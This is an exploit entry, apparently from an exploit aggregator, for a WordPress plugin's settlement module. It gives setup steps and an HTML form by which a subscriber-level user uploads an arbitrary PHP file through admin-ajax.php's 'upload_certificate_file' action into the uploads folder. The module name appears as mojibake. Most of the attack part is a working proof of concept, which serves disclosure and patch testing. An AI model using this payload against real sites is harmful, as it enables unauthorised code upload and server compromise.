## https://sploitus.com/exploit?id=WPEX-ID:6D29BA12-F14A-4CEE-BAAE-A6049D83BCE6
Setup (As admin):
- Go the the Settlement Settings ad drag the "γγ€γΈγ§γ³γ" module to the 'Settlement modules in use' section, then click the update button
- Setup the module and upload a certificate
Attack (as a subscriber), login to the blog, open a page with the code below and select a PHP file:
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="text" name="action" value="upload_certificate_file"/>
<input type="file" name="upfile"/>
<input type="submit" value="submit"/>
</form>
</body>
This will upload the php file to the uploads/xxxxx/ folder